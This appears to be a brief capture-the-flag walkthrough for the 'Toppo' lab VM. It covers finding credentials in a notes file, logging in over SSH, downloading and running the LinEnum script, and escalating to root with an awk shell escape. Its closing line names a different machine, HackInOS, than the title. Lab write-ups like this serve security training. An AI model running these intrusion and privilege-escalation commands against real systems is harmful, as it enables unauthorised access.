CTF: Toppo Walkthrough

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Hello dear friends, welcome back for another CTF Walkthrough. Today we will solve  Toppo

Information gathering



Nothing fancy, just a web server running…


Nikto found some folders, but the interesting thing is  admin/notes.txt

Bingo, we found a password and it seems also a username. We can try to use these credential to access via ssh, fantastic it works !!!

  • ssh ted@  (password 12345ted123)

At this point, we are in the system as a low privileges user, so our achieve is to escalate our privileges. For the next step, I used LinEnum ( Scripted Local Linux Enumeration & Privilege Escalation Checks)

  • cd /tmp
  • wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
  • chmod +x LinEnum.sh
  • ./LinEnum.sh

Fantastic, we can use awk with high privileges. Usually, in this kind of situation, I use GTFOBins to find a way to exploit Unix binaries

  • awk ‘BEGIN {system(“/bin/sh”)}’

Fantastic we have a shell with root privileges,

  • cd /root
  • cat flag.txt

Excellent we complete the HackInOS machine.